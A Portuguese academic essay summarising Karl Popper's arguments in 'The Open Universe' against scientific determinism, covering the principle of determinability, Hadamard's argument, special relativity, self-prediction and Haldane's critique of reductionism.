ARGUMENTOS POPPERIANOS EM FAVOR DO INDETERMINISMO CIENTÍFICO

ARGUMENTOS POPPERIANOS EM FAVOR DO INDETERMINISMO CIENTÍFICO

ARGUMENTOS POPPERIANOS EM FAVOR DO INDETERMINISMO CIENTÍFICO

Ronaldo Pimentel* e Tiago Luis T. Oliveira**

 

Introdução

               A
discussão determinismo versus indeterminismo sempre foi debatida na
história da filosofia. E muitos dos argumentos em favor do determinismo
partiram da eficácia da ciência na previsão de eventos.  O sucesso da mecânica
newtoniana e das leis de Kepler para a explicação do funcionamento da natureza
e para a previsão calculada de eventos futuros sugeria ser o mundo determinado
e previsível.

               Isso
não se dá sem problema quando o assunto é o campo moral. Whitehead fala da
dicotomia ocidental da nossa crença no livre-arbítrio e nossa convicção de que
a natureza se comporta como um mecanismo materialista. Essa ambigüidade se
assemelha à dupla pertença religiosa dos chineses que causa espanto no
Ocidente:

 

Todo o mundo se
surpreende de que um chinês possa ser de duas religiões: confucionista em
algumas ocasiões e budista em outras. Se isso é verdade quanto à China, não
sei; também ignoro se, na verdade, essas duas atitudes são realmente
incompatíveis. Mas não pode haver dúvida de que fato análogo é verdadeiro em
relação ao Ocidente, e que as duas atitudes em questão são incompatíveis. Um
realismo científico baseado no mecanismo conjuga-se com uma crença estável no
mundo dos homens e dos animais superiores como constituídos de organismos
autodeterminados. Essa incompatibilidade radical na base do pensamento moderno
responde, em grande parte pelo que há de dúbio e instável em nossa civilização.
[1]

 

               De
fato, nem Kant escapou a essa ambigüidade, aceitando a priori o
determinismo científico e tentando resguardar a liberdade no tocante à razão
prática. Ora, essa ampla aceitação de uma ciência considerada determinista
acaba por conceder o melhor argumento para os que acreditam ser o mundo um
mecanismo determinado.

               O
objetivo de K. Popper, ao escrever o segundo volume do pós-escrito à sua
“Lógica da descoberta científica”, foi mostrar a inconsistência dos argumentos
deterministas. Ele não se propõe a discutir as doutrinas metafísicas do
determinismo e do indeterminismo, mas supõe ser possível provar que o
determinismo científico não se sustenta nem mesmo nas teorias prima facie
deterministas da física clássica. Na obra “O universo aberto”, Popper tenta
desmontar o melhor argumento determinista: o argumento do determinismo
científico. Dessa forma, o autor pode questionar a solução kantiana de aceitar
o determinismo científico ao aceitar a mecânica newtoniana.

 

1 –
Conceituando e problematizando o determinismo “científico”

 

               A
primeira analogia usada por Popper para explicar o determinismo é a do filme:
um filme que possa ser retroagido ou adiantado conforme o gosto de quem
assiste. Analogamente, nos vemos diante do passado (a parte já assistida) e do
futuro determinado pelo diretor daquele filme.

               O
determinismo também aparece ligado a uma concepção religiosa. Deus onipotente e
onisciente já tem o conhecimento prévio de todos os eventos futuros, o que
significa que o mundo é lugar do previsível, mesmo que esse conhecimento futuro
apenas seja acessível à divindade. O que ocorre com o determinismo científico é
a secularização desse determinismo religioso: substituamos Deus por natureza e
leis divinas por leis naturais.

               Outra
fonte de sustentação do determinismo é o senso comum que atribui à causalidade,
ou seja, à possibilidade de fazer perguntas “porquê” sobre qualquer
acontecimento, o fato de que todo acontecimento tem uma causa e, portanto é
determinado. Esse é um problema no qual o próprio Hume incorreu, ao tentar
explicar o determinismo em sua “Investigação sobre o entendimento humano”.

               Para
Karl Popper a lógica da explicação não supõe previsão e, portanto, não implica
necessariamente o determinismo científico. A concepção de acontecimento e as
explicações exigidas pelo senso comum são qualitativas, ou seja, não exigem
exatidão nas previsões e nem e nem precisão das condições iniciais dadas para
determinar um acontecimento futuro.

               Dessa
forma, já podemos delinear o que Popper considera por determinismo científico
como capacidade de prever com a precisão desejada qualquer acontecimento, a
partir de condições iniciais precisas:

 

O determinismo
“científico” requer a capacidade de prever qualquer acontecimento com qualquer
grau de precisão que se deseje, desde que nos sejam dadas condições iniciais suficientemente
precisas. (…) É evidente que temos de explicar “suficientemente” de uma
maneira tal que nos privemos do direito de alegar – todas as vezes que falhemos
nas nossas previsões – que nos foram dadas condições iniciais que não eram
suficientemente precisas.
[2]

 

               Para
o autor, portanto, o determinismo científico torna necessário que uma teoria
responda pela sua imprecisão e dê antecipadamente quais condições iniciais
permitem o determinado grau de exatidão requerido. Popper chamou a essa
exigência de princípio de determinabilidade.

               O
filósofo da ciência, no entanto, dá dois conceitos desse princípio, um
considerado mais fraco e outro mais forte, mais exigente. O conceito fraco do
princípio de determinabilidade diz respeito apenas ao grau de precisão das
condições iniciais:

 

Assim, qualquer definição
satisfatória de determinismo “científico” terá de basear-se no princípio (da determinabilidade)
de que podemos calcular a partir da nossa tarefa de previsão (em conjunção
com as nossas teorias, é claro) o grau de precisão exigido das condições
iniciais.
[3]

 

               O
conceito mais forte vai além. Ele exige uma inversão de que as condições
iniciais precisas possam ser calculadas da precisão dos resultados:

 

Para certos fins, pode
ser útil trabalhar com um princípio de determinabilidade um tanto mais forte, a
que chegamos referindo-nos à precisão dos resultados de medições possíveis a
partir das quais as condições iniciais podem ser calculadas
, e não à
precisão das condições iniciais.
Assim, neste sentido mais forte, uma
tarefa de previsão pode não ser determinável por não podermos determinar a
partir dela (e da teoria) o grau de precisão requerido de medições
possíveis em que possamos basear nossas previsões.
[4]

 

               As
atenções de Popper se voltarão para o conceito mais fraco, mesmo reconhecendo
que o determinismo “científico” demandaria a definição forte do princípio de
determinabilidade. O fato é que se uma teoria não for determinável no sentido
fraco, ela tampouco será no sentido forte. E qualquer exemplo de previsão
definitivamente não determinável invalidaria o determinismo “científico”.       Dessa
forma, caso o princípio da determinabilidade não seja universalmente
satisfeito, não haveria razões para acreditar no determinismo “científico”.

2 –
Argumentos contra o determinismo

 

               Muitos
autores, como o próprio Whitehead já mencionado, afirmam que o determinismo só
vale para a mecânica, não se aplicando à biologia[5].
Os deterministas, no entanto, com o argumento a partir do estudo do comportamento,
afirmam a possibilidade de se prever cada vez melhor os comportamentos de
homens e animais superiores e que essa previsão tende a tornar-se tão precisa
quanto a mecânica planetária.

               Karl
Popper, evidentemente, não reconhece no estudo dos comportamentos um argumento
válido para reforçar o determinismo científico. Qualquer que seja o nosso
conhecimento comportamental, ele não seria capaz de preencher os requisitos do
princípio da determinabilidade. Mesmo que se conheça, por exemplo, todas as
reações de um gato, e possa-se prever que ele pulará do muro, ninguém seria
capaz de prever com precisão a quantos centímetros ele pulará desse muro. Muito
menos saberia dizer quais as condições iniciais que possibilitariam reduzir a
margem de erro nessa previsão.

               Qualquer
tentativa de complementar nossa tarefa de precisão por meio de um conhecimento
maior do sistema nervoso e do cérebro do animal, só faria reconhecer que é
preciso abandonar o argumento do comportamento em favor da fisiologia e da
física, aceitando-as, essas sim, como ciências deterministas.

               Mas
mesmo a fisiologia não parece ser determinista para Popper. Em seu “Universo
Aberto”, o autor compara o processo do disparo de um nervo com o de uma
explosão: é necessário um fator crítico (um potencial elétrico para o nervo e
uma temperatura crítica no caso da explosão) abaixo do qual esse efeito não
ocorre. Esse é o chamado princípio do tudo-ou-nada[6].

               É
possível prever o momento em que uma explosão ocorre, aumentando gradativamente
a temperatura. Mas é impossível medir com toda precisão que queiramos uma
temperatura porque essa é um efeito de massa. Em outras palavras, a temperatura
é essencialmente uma média, uma quantidade molar.

               Analogamente,
temos motivos pra crer que o potencial crítico para o disparo de um nervo
dependa também de efeitos de massa. Um exemplo é o efeito de fadiga, que com
muita probabilidade depende da presença ou ausência de quantidade suficiente de
concentração de moléculas de alguma substância qualquer.

               Com
isso, o filósofo vienense entende nada indicar que o princípio da
determinabilidade se aplica a efeitos de massa. Ainda que isso fosse possível,
não teríamos idéia de como ele poderia ser aplicado. E que mesmo se nossa
capacidade de previsão possa aumentar, isso não confirma o determinismo
científico naquela área de conhecimento:

 

De um modo bastante
geral, podemos dizer que, se bem que o nosso conhecimento, e, com ele, a nossa
capacidade de prever, possa aumentar continuamente numa determinada área, esse
facto por si mesmo nunca pode ser usado como argumento a favor da ideia de que
algo como o determinismo “científico” se verifica nessa área. É que o nosso
conhecimento pode aumentar continuamente sem se aproximar desse gênero muito
especial de conhecimento que satisfaz o princípio da determinabilidade.
[7]

 

               Popper
rejeita a cômoda posição do senso comum que acredita haver no mundo eventos
previsíveis como relógios e eventos imprevisíveis como nuvens. O conhecimento
das nuvens (e da meteorologia) poderia aumentar de tal forma que esses eventos
poderiam chegar à categoria dos eventos semelhantes ao relógio. Os relógios,
por sua vez, se estudados detalhadamente, podem unir-se aos eventos da
categoria “nuvens”. Basta repararmos que, para medir o fluxo de calor que afeta
o comprimento do pêndulo, acabaríamos por assemelhar o relógio a uma nuvem de
moléculas, com a dificuldade de previsão típica dos eventos “nuvens”. Também se
quisermos manter dois relógios marcando o mesmo horário, os mecanismos de
regulação de ambos seriam claramente diferentes. E ainda que seja possível para
um bom relojoeiro descobrir a causa do atraso de um relógio, seria impossível
explicar os minutos exatos do atraso pelo estudo dessa causa e se, removida a
causa, o relógio seguiria sem necessidade de mais acertos. Neste caso, mesmo os
relógios não poderiam satisfazer o princípio da determinabilidade.

               Há
ainda um último argumento determinista que Popper pretende refutar: o argumento
a partir da Psicologia. O filósofo considera esse argumento mais antigo do que
o argumento a partir do comportamento, mas também mais fraco do ponto de vista
da defesa do determinismo. O autor estabelece as origens modernas desse
argumento mais evidentes em Hobbes, Spinoza, Hume e Priestley. Hobbes, por
exemplo, acredita ser a vontade causada, donde se segue que as ações
voluntárias teriam causas necessárias. Hume introduziu duas idéias: a idéia de
inferências de motivos para ações voluntárias, e a idéia de inferência do
caráter para a conduta.

               Popper
admite causas psicológicas (medos, desejos, esperanças, intenções) que na
lógica da situação servem melhor para explicar uma novidade ou conquista
original de aprendizado do que as causas fisiológicas e físicas. O autor,
porém, nega que a existência de causas psicológicas levem a aceitação do
determinismo científico, pois este demandaria que essas causas nos permitissem
prever um acontecimento com o grau de precisão desejado:

 

Não nego que uma questão
como “qual foi o motivo da acção dele?”ou uma pergunta “porquê” como “porque
ele fez isso?” possam ser perfeitamente  razoáveis; nem que igualmente o posse
ser uma resposta como “fê-lo por inveja (ou por ambição, ou por vingança)”. Mas
todas as respostas deste género, mesmo que sejam altamente sofisticadas, não
são muito mais do que tentativas grosseiras de classificar, ou, quando muito,
de construir um esquema situacional hipotético que torne a acção racionalmente
compreensível.
[8]

 

               Finalmente,
o filósofo vienense dá quatro motivos pelos quais o indeterminismo deve ser
considerado prima facie  aceitável e o ônus da prova recai sobre os
deterministas:

1)    
A idéia do senso comum da diferença entre relógios e nuvens indica que a
pré-determinação e a previsibilidade são uma questão de grau;

2)    
Outro argumento do senso comum que defende serem os organismos menos
determinados e previsíveis do que sistemas simples, e que os organismos
superiores são menos determinados do que organismos inferiores;

3)    
Deveria ser possível, segundo o determinismo, prever descobertas e
criações artísticas unicamente pela fisiologia e pela física;

4)    
O indeterminismo, ao propor a existência de ao menos um acontecimento
não pré-determinado, tem uma asserção mais fraca do que o determinismo
científico, diante do qual todos os acontecimentos seriam previsíveis.

 

Até aqui Popper tentou refutar os argumentos deterministas. Cumpre agora
mostrar a inconsistência do principal argumento dessa postura: o determinismo
científico.

 

3 – Argumentos
contra o determinismo científico

 

3.1. O modelo
nomológico-dedutivo e o modelo explicativo de Popper

 

               O
modelo de explicação causal é importante, em que a ciência termina por ter
parâmetros explicativos deterministas, isso é um recurso metodológico de busca
cada vez mais acurada que não exclui o falseacionismo. As ciências
deterministas em geral que respondem às perguntas “por que” não devem ser
vistas como respondendo a essas perguntas com enunciados necessários mas com um
enunciado no sentido de uma explicação provisória para um fato; ao invés de uma
decorrência necessária, a ciência torna-se explicativa pela descrição da
sucessão de eventos que ocorre numa estrutura explicativa.

               As
necessidades levam a pressupostos essencialistas que dão a impressão de
necessidade aos enunciados, nesse caso, esses pressupostos terminam por tornar
uma determinada teoria como se fosse a descrição última das coisas e dos
eventos que ocorrem no mundo. Segundo Popper, o mundo 3[9]
deve ser independente do mundo 1[10],
mesmo que as teorias do mundo 3 forem utilizadas para descrever o mundo 1. As
teorias científicas não passam de conjecturas que habitam o mundo 3, são incompletas
e são apenas tentativas de se descrever o mundo 1. O paradigma da incompletude
é de grande importância nos argumentos que Popper desenvolve para refutar o
determinismo científico e para mostrar a precariedade do conhecimento
teórico-científico.

               A
relação entre o mundo 1 e o mundo 3 não pode ser dada por uma descrição de
essências e a natureza de uma relação causal não é dada pelo uso de
propriedades intrínsecas à natureza das coisas pertencentes ao mundo 1. As leis
gerais são descrições conjecturais sobre o que ocorre na natureza de modo que
não há explicação definitiva sobre os processos naturais. Cada sistema
explicativo possui um campo explicativo restrito, a utilização de um sistema
explicativo mais amplo é a utilização daquele sistema que será capaz de
explicar o máximo de eventos naturais mas não todos os eventos da natureza. A
incompletude inerente do conhecimento científico também pode ser notada na
alegoria do argumento que Popper utiliza ao comparar as teorias científicas à
redes que pescam peixes graúdos mas não pesca os peixes pequenos, deixa escapar
detalhes do mundo 1 ao explicá-lo.

               O
uso do falseacionismo se baseia na busca de teorias que descrevem de modo
verdadeiro as coisas que existem no mundo. A crença nas essências é dogmática e
não torna possível a utilização do falseacionismo. Dizer que as teorias são
conjecturas não exclui o realismo dessas teorias já que elas se referem ao real
e é no mundo 1 que elas devem ser testadas. Essa realidade do mundo 1 é
descrita incompletamente e não é totalmente determinada e o mundo é intocável
em seus aspectos essenciais. O mundo não é explicado em seus aspectos
essenciais mas sim através das múltiplas possibilidades de existir algum modo
de descrever esse mundo através de um mecanismo teórico causal. Assim, há um
modelo explicativo do mundo em que a ciência torna capaz de explicar os
fenômenos do mundo.

               Esse
modelo é o nomológico-dedutivo, que é uma derivação do modelo  explicativo de
Popper. A estrutura de um argumento que formalmente corresponde ao modelo
nomológico-dedutivo ou ao modelo explicativo de Popper é dado por (1) Leis
gerais mais (2) os  casos particulares e seguidamente temos (3) a explicação ou
a conclusão do argumento como sendo o resultado da explicação.

               As
leis gerais são expressas por enunciados universais que correspondem a essas
leis, são as condições universais. As condições iniciais são os casos
particulares que ocorrem em (2), em que são dados por enunciados que contenham
uma descrição delimitada por um espaço e tempo particular, daí decorre
logicamente a conclusão. Segundo o modelo explicativo de Popper, (3) é o explicandum,
(1) e (2) são os explicans que são dados por uma determinada teoria. O explicandum
depende das condições iniciais e a explicação é uma conseqüência lógica dos explicans
ao explicandum. Essas explicações são as relações causais que procuram
responder aos tipos de perguntas “por que”.

               A
aplicação da noção de causa e efeito em Popper é equivalente ao modelo
nomológico-dedutivo desde que se respeite o critério de falseamento das
teorias. Para dizer que A causa B é necessário a existência de uma lei geral e
uma situação particular descrita por uma proposição particular, daí a dedução
do efeito, ou seja, B. B é o efeito segundo determinada teoria. O modelo é
conjectural e não está ligado necessariamente à realidade e sim a uma teoria
determinista.
A essas teorias denominamos teorias deterministas prima facie.

               Por
isso, qualquer modelo explicativo em Popper tem um caráter provisório segundo
os critérios de falseamento e a sua verdade depende da verdade da teoria em que
está ligado. Nenhuma teoria da explicação deve ser derradeira, já que a
estrutura legiforme da natureza não é possível de ser obtida completa e
precisamente. Assim, a estrutura do mundo nunca pode ser dada por teorias
deterministas. Daí Popper passa a descrever e criticar as teorias
deterministas, enfocaremos nas teorias deterministas científicas, que
caracterizam o determinismo “científico”.

               As
críticas se centralizam no problema da previsão, e a previsão é um tipo de
explicação e a diferença temporal entre a previsão e a explicação não é muito
importante no modelo explicativo de Popper. A única diferença que pode conter é
a posição em relação ao tempo dos termos contidos no esquema explicativo. Essa
diferença não afeta a assimetria entre o passado e o futuro.

 

3.2. Refutação do determinismo “científico”

 

               Para refutar o determinismo “científico”, Popper cria
uma versão super simplificada do determinismo aliada a um demônio de Laplace. O
demônio deve ser capaz de realizar previsões a partir de dentro, ou seja,
previsões precisas dos estados físicos do sistema em que se encontra. Esse
demônio realiza as previsões de acordo com que um homem é capaz de fazer, mas que
também pode ser feito por uma máquina ou a máquina que prevê, esse homem,
demônio ou máquina, tem que saber colher com precisão o máximo de dados
possível.

               Refutando essas idéias de acordo com a sua concepção
incompleta do conhecimento teórico, que se dá como se fosse uma rede que capta
algo mas não tudo, e a idéia de que o que é determinado numa teoria não pode
determinar o mundo 1, porque não há uma ligação necessária, Popper tem razão o
suficiente para defender o caráter indeterminista da realidade. Segundo a
definição dos três mundos, que são independentes entre si, a criação teórica
ocorre no mundo 3, mundo dos argumentos e das criações humanas que fazem parte
do coletivo. A verdade ou falsidade de uma determinada teoria ocorre quando há
a conjunção entre o mundo 3 e o mundo 1. Daí é que se gera inclusive as
tecnologias que vão influenciar no mundo 1 de alguma maneira. Assim, as teorias
são colocadas em testes rigorosos do mundo 3 ao mundo 1, validando os
argumentos e esquemas que obedecem o modelo explicativo de Popper.

               Porém, o conhecimento falível mostra a incompletude do
mundo 3, não há uma previsão ilimitada e portanto a refutação do determinismo
“científico” no sentido forte. A solução de um determinado problema pelo mundo
3 leva a reabrir novos problemas que ainda não são resolvidos e essa é a
incompletude inerente do mundo 3. Segundo o indeterminismo, há eventos que não
são determinados. Porém, o indeterminismo não exclui a possibilidade de existir
eventos que são fisicamente determinados e que possuem regularidades, esses
eventos estão localizados em teorias prima facie deterministas que
passaram pelo critério de falseamento.

 

3.3.  O argumento de Hadamard

 

               O
argumento de Hadamard é a refutação de um determinismo “científico” mais forte.
O argumento envolve a estabilidade do sistema solar. Segundo Hadamard, não há
sentido dizer que há uma estabilidade do sistema solar. Para Popper, o problema
da estabilidade do sistema solar é irresolúvel, dado que não é possível ter com
toda a precisão o estado inicial do sistema, tal fato da irresolubilidade, faz
com que algum dia haja a solução do problema, dado que há a possibilidade de
aumento no grau de precisão. Mas como vimos o grau de precisão está ligado à
determinação das teorias. Não há a possibilidade de previsão do comportamento
para todos os instantes de tempo em relação aos seus estados físicos. Esse é o
argumento que refuta a possibilidade de existência de um determinismo
“científico” no sentido forte.

               O
argumento de Hadamard então, segundo essa interpretação do Popper é análogo ao
argumento do Teorema de Incompletude de Gödel. Assim como não podemos prever
todas as situações possíveis de um sistema em um determinado tempo, também não
podemos decidir numa aritmética formalizada todos as proposições verdadeiras
segundo essa linguagem aritmética. A pergunta pela possibilidade de existir num
sistema em que haja a gravitação de vários corpos como o sistema solar um grau
de precisão tal que seja possível prever o próximo estado físico do sistema é uma
pergunta que se assemelha aos resultados do Teorema de Incompletude de Gödel
porque é indecidível, mas não é uma pergunta sem sentido, como afirmava o
próprio Hadamard, o sentido existe, a pergunta não tem uma resposta
satisfatória de acordo com as teorias físicas deterministas.

 

4 – Argumentos em
favor da indeterminação

 

               Nos
argumentos em favor da indeterminação, Popper se apóia na não possibilidade de
existir uma teoria que satisfaça os anseios de um cientista determinista no
sentido forte. Quer dizer, as teorias são incompletas, no sentido dos teoremas
de Gödel e em relação ao argumento de Hadamard, com a impossibilidade de
existir uma teoria determinista que determine um estado físico de um sistema em
qualquer tempo escolhido. Na definição das teorias científicas como redes, a
alegoria está na impossibilidade dessas teorias apreenderem em suas redes
causais detalhes dos sistemas físicos.

 

4.1. Definição de
ciência como rede

 

               Esse
é o principal argumento contra o determinismo científico e se aplica ao poder
das teorias de elucidarem o mundo dos fatos ou ainda de realizarem previsões
com o uso de seu poder causal de acordo com o mundo dos fatos, o mundo dos
sistemas físicos ou o mundo 1. Pelas teorias serem precárias em relação à
previsão, não conseguem realizar uma previsão total em relação aos sistemas
físicos que descrevem. O argumento contra o determinismo “científico” consiste
em ver as teorias como redes.

 

Vejo
as nossas teorias científicas como invenções humanas – como redes concebidas
por nós para apanhar o mundo. Elas diferem, sem dúvida, das invenções dos
poetas e até das invenções dos técnicos. As teorias não são
instrumentos. O que temos em mira é a verdade: testamos as nossas teorias na
esperança de eliminar as que não sejam verdadeiras. Deste modo, podemos
conseguir melhorar as nossas teorias – até como instrumentos –, ao fazer redes
cada vez mais bem adaptadas para apanhar o nosso peixe, o mundo real. Contudo,
elas nunca serão instrumentos perfeitos para esse fim. Elas são redes racionais
de nossa autoria e não deveriam ser tomadas, erradamente, por uma representação
completa do mundo real em todos os seus aspectos. Nem mesmo se forem altamente
bem sucedidas; nem mesmo se parecerem dar excelentes aproximações da realidade.[11]

 

               A
teoria, e seu sucesso, não significa que a teoria está diretamente relacionada
com o mundo. As teorias não possuem nenhum compromisso ontológico direto com o
mundo apesar tentar ser uma descrição o mais fiel possível dos fatos em relação
ao mundo. Não há nenhuma ligação misteriosa entre uma teoria e o mundo. Por
isso, não é possível inferir de uma determinada teoria, o caráter determinista
do mundo. As teorias são deterministas prima facie; não significa que o
mundo que elas descrevem é intrinsecamente determinista. As teorias apenas
descrevem o mundo, uma teoria não é boa nem má, apenas ilumina determinado
aspecto do mundo sem interferir. As teorias tem a necessidade apenas de serem
verdadeiras. A descrição do mundo é feita por teorias universais, o que deve
garantir também a simplicidade e a testabilidade da teoria. Pelos testes de uma
determinada teoria é que se torna possível ter teorias verdadeiras. As teorias
verdadeiras passam por testes rigorosos e as teorias universais é que são o
foco da ciência.

 

4.2. Assimetria
entre passado e futuro

 

               O
segundo argumento em relação ao determinismo é a assimetria entre o passado e o
futuro. Temos em mente ao desenvolver esse argumento que nenhuma cadeia causal
futura é capaz de influenciar algo que se encontra no passado. Isso é
trivialmente dado em relação ao passado, e é isso que garante ao passado ser
fechado aos acontecimentos. Mas constitui um erro pensar que o futuro é
completamente determinado pelo passado, novamente, o que queremos dizer é que
podemos ter previsão de algo que acontecerá no futuro segundo as variáveis
precisamente colhidas no passado. Admitida ainda a abertura do futuro (que o
futuro não é completamente determinado pelas coisas que aconteceram no passado)
e o fechamento trivial do passado, o tempo tem uma direção, a direção do tempo
em seu decorrer é o futuro e ele está fechado de um lado e aberto para outro.
Concluímos assim que há uma assimetria temporal. Como o tempo é assimétrico, há
processos que são irreversíveis, como no caso de propagação de ondas a partir
do lançamento de uma pedra no lago que nunca tornam possível que uma onda
retorne ao ponto de sua propagação como se fosse um filme passado ao contrário.

               Porém,
todas as nossas ações humanas no presente são em certa medida uma tentativa de
influenciar o futuro, e de determinar uma parte do futuro. Mas a incapacidade
de previsão completa está na abertura do futuro e no fechamento do passado.
Popper mostra isso através da teoria da relatividade especial, que é uma teoria
prima facie determinista.

 

               Aqui,
vemos que o passado está fechado e o futuro, aberto. Acreditamos que o que
fazemos no presente (contemporaneidade possível) é capaz de determinar o
futuro. O futuro é completamente aberto, já que não pode ser predeterminado por
nós e o passado é completamente fechado no sentido de que nada no futuro afeta
o passado. Agora mostraremos o caso em que há a previsão possível de A
para B.

 

 

               Não
há possibilidade aqui de possuir uma previsão confiável de B já que há um ponto
futuro em relação a A que não ocorre de ser captado pela relação causal de A em
direção à B e esse ponto faz parte dos fatos passados relevantes a B e que está
no fechamento futuro de B. Assim, a previsão de A para B não é totalmente
precisa. Há e

feitos de P
que atingem B, mas os efeitos de P não atingem A. Quando a relatividade mostra
que não há um demônio laplaciano, então não há previsibilidade a partir de
dentro. Devemos supor que há um demônio laplaciano capaz de prever B, que não
seja humano, ele deve ser capaz de ter todas as condições iniciais necessárias
e todas as relações causais para prever B. A é o presente. B é onde se dará a
previsão. O demônio consegue obter informações espaço-temporais suficientemente
grandes, enormemente maiores que a dos seres humanos: A região além que o
demônio consegue é traçada por C:

 

 

               O
demônio precisa de informação suficiente para prever B, para tanto, precisa de
todo o passado de B, ou seja, o traçado do passado de B, para tanto, a linha C
pode ultrapassar todo esse passado. A linha C também passa por toda área em que
o demônio consegue realizar previsões, e, ainda assim, terá informações sobre
um ponto D, além de B, dada a área que C delimita para o demônio é infinita, em
que as informações são dadas de acordo com o traçado de C, assim, o demônio não
realiza realmente o que entendemos por uma previsão, mas é algo como uma
lembrança do demônio, ou no caso, uma retroprevisão, porque a presença do
demônio não está estabelecida em um ponto anterior a B mas num ponto
infinitamente localizado no futuro delimitado pela linha infinitamente grande
de C e o demônio realiza uma retroprevisão para todo fato que se encontra em
qualquer ponto em qualquer futuro.

               Se
for assim, não é uma previsão a partir de dentro e também não é uma previsão no
sentido em que entendemos por previsão, pois o demônio deve estar no futuro de
qualquer situação dada de dentro do sistema. Paradoxalmente, qualquer previsão
feita, em teoria da relatividade, faz com que o que prevê, como o demônio
laplaciano, esteja assim localizado no futuro do que ele prevê, assim, o que
acontece é que toda previsão na verdade não é uma previsão porque ela está no
passado e o previsor está no futuro. Assim, é o futuro que é completamente
desconhecido nesse caso, portanto, uma vez conhecido o futuro, ele faz parte do
passado. Conclui Popper:

 

A
relatividade especial, apesar do seu caráter prima facie determinista, não
pode, portanto, ser usada para apoiar o determinismo “científico”, por duas
razões. (1) As previsões exigidas pelo determinismo “científico” têm de ser
interpretadas, do ponto de vista de própria relatividade especial, como
retrovisões. (2) Sendo retrovisões, elas parecem, do ponto de vista da
relatividade especial, ser computadas no futuro do sistema previsto. Logo, não
se pode dizer que elas são computadas dentro desse sistema: não satisfazem o
princípio da previsibilidade a partir de dentro.[12]

 

               Assim,
a teoria da relatividade refuta a idéia de que uma teoria prima facie
determinista seja possível derivar a verdade do determinismo, apesar de seu
caráter prima facie.

 

4.3. Questão da
previsão histórica e do crescimento do conhecimento

 

               O
crescimento do conhecimento tem como decorrência a impossibilidade de uma
previsão precisa. Devemos ter em mente aqui o que já foi desenvolvido na
argumentação de Popper, a definição de ciência como uma teia e a assimetria
entre o passado e o futuro, que impossibilita a existência de um determinismo
que fixa o futuro em relação ao passado. A questão da previsão histórica é o
terceiro argumento e o menos fundamental de todos. Não há como prever
acontecimentos se eles são previsíveis somente de acordo com o crescimento do
nosso conhecimento. Assim, não há como ter previsões totalmente precisas se as
ferramentas para obter previsões – ainda que próximas da previsão – ainda não
foram criadas.

 

4.4. A
impossibilidade da auto-previsão

 

               Na
impossibilidade da auto-previsão, o sistema passa a não ser determinado a
partir de dentro, ou seja, não há como ter uma previsão completa de dentro dele
mesmo. Se não sabemos como o sistema teórico se modifica, também não há como
ter as mesmas previsões em relação aos mesmo fatos, nem como o homem,
conhecedor do mundo através desse sistema, irá agir sobre o sistema. Assim, a
previsão com precisão só é possível a partir de fora e não é completamente
previsível a partir de dentro. O  curso da história humana, e o modo como o
homem age no mundo, é influenciado pelo seu conhecimento do mundo, o
crescimento desse conhecimento também modifica o modo como os homens lidam com
a natureza. Assim como não é possível ter uma previsão do aumento do
conhecimento, também é impossível ter uma previsão a partir de dentro dado que
essa previsão está relacionada com o aumento do conhecimento, o que refuta a
idéia de um demônio de Laplace e a idéia de previsão de teorias ou a previsão
de avanços científicos. Se se prevê uma teoria, paradoxalmente isso não é uma
previsão mas sim a descoberta de uma nova teoria.

 

4.5. O argumento
filosófico de Haldame: Crítica ao reducionismo

 

               Diz
o último argumento que a apreensão da verdade depende do uso crítico da
racionalidade sem ser reduzido a um procedimento finito característico de uma
máquina de calcular, análogo ao teorema de incompletude de Gödel. O
materialismo aparece alegoricamente em Haldame, já que contemporaneamente, um
tipo de visão materialista seria representada pela máquina de calcular. De
dentro do materialismo, não há como saber se ele é verdadeiro, assim como em
uma aritmética consistente, não há como obter a consistência de uma aritmética
a partir de dentro com o uso de seus procedimentos finitos. A crítica ao
reducionismo faz parte da crítica da própria idéia de determinismo científico.

               De
um lado, o argumento se mostra análogo à não-demonstração da consistência, o
segundo teorema de incompletude, e o mais forte. E se mostra análogo ao
primeiro teorema de incompletude – que diz que há sentenças indecidíveis por um
procedimento finito que contenha a aritmética – levando em conta a existência
de teorias complexas irredutíveis à teorias inferiores. Assim como consideramos
que há partes da matemática irredutíveis à aritmética e que não são expressas
por seu conteúdo finitário, ou como ainda há conteúdos aritméticos não
expressos por procedimentos finitos. O exemplo de Popper é dado pelas funções contidas
na linguagem comunicativa humana. De acordo com que se tornam mais complexas,
essas funções não são redutíveis aos níveis inferiores de linguagem. Funções
expressivas como as que são sintomática de qualquer organismo animal não são
capazes de terem reduzidas às essas funções a função argumentativa que é o uso
da linguagem como meio de crítica racional e que os humanos utilizam para criar
as suas teorias científicas.

 

Esta
é precisamente a questão de Haldame. É a afirmação de que, se o determinismo
“científico” for verdadeiro, não podemos, de uma maneira racional, saber que
ele é verdadeiro; cremos nele ou descremos dele, mas não porque julguemos
livremente que os argumentos ou as razões a favor dele são sólidos, antes
porque se dá o caso de sermos determinados (de nos ter sido feita uma lavagem
ao cérebro) de modo a acreditar nele ou a não acreditar nele, ou até a
acreditar que o julgamos e aceitamos racionalmente.[13]

 

 

Com
esses argumentos, Popper pretendeu mostrar a ciência como uma aproximação da
realidade, mas não como uma descrição fiel da mesma. A metáfora da rede
exemplifica bem essa postura. Muitas teorias, principalmente da física, são
deterministas, mas isso não significa que o mundo seja determinado. Popper
admite que o passado é determinado, mas afirma ser o futuro aberto. Ele
igualmente admite causas para o comportamento e para ações voluntárias, mas a
causalidade não implica determinação. As explicações científicas devem
responder às perguntas “porquê” segundo o modelo explicativo causal. Deve-se,
porém, reconhecer as limitações das teorias científicas, que podem ser
falseadas e, por essa razão, incompletas na tarefa de “apanhar o mundo”.  Nesse
artigo, não tratamos da questão do livre-arbítrio, mas fica claramente indicado
que o sucesso da ciência determinista não pode ser usado como argumento válido
para afirmar que todos os eventos no mundo são fechados. Ao contrário, como
indica o próprio nome da obra de Popper, vivemos num universo aberto, e, em
muitos sentidos, imprevisível.

 

REFERÊNCIAS:

 

 

AGUIAR,
Túlio X. Causalidade e direção do tempo: Hume e o debate contemporâneo.
Belo Horizonte: UFMG, 2008.

 

POPPER, K. O
universo aberto.
Trad. Nuno Ferreira da Fonseca. Lisboa: Dom Quixote, 1988.

 

STUBERT,
Willllian Rodrigo. Explicação causal e indeterminismo na filosofia de Karl
Popper
. Dissertação de mestrado. Curitiba: UFPR, 2007. (disponível
em:  http://www.filosofia.ufpr.br/docs/diss_willian2007.pdf)

 

WHITEHEAD,
Alfred North. A ciência e o mundo moderno.Trad. Hermann Herbert Watzlawick.
 São Paulo: Paulus, 2006 (Col. Philosophica)


[1]
WHITEHEAD, Alfred North. A ciência e o mundo moderno. São Paulo:
Paulus, 2006. p. 100.

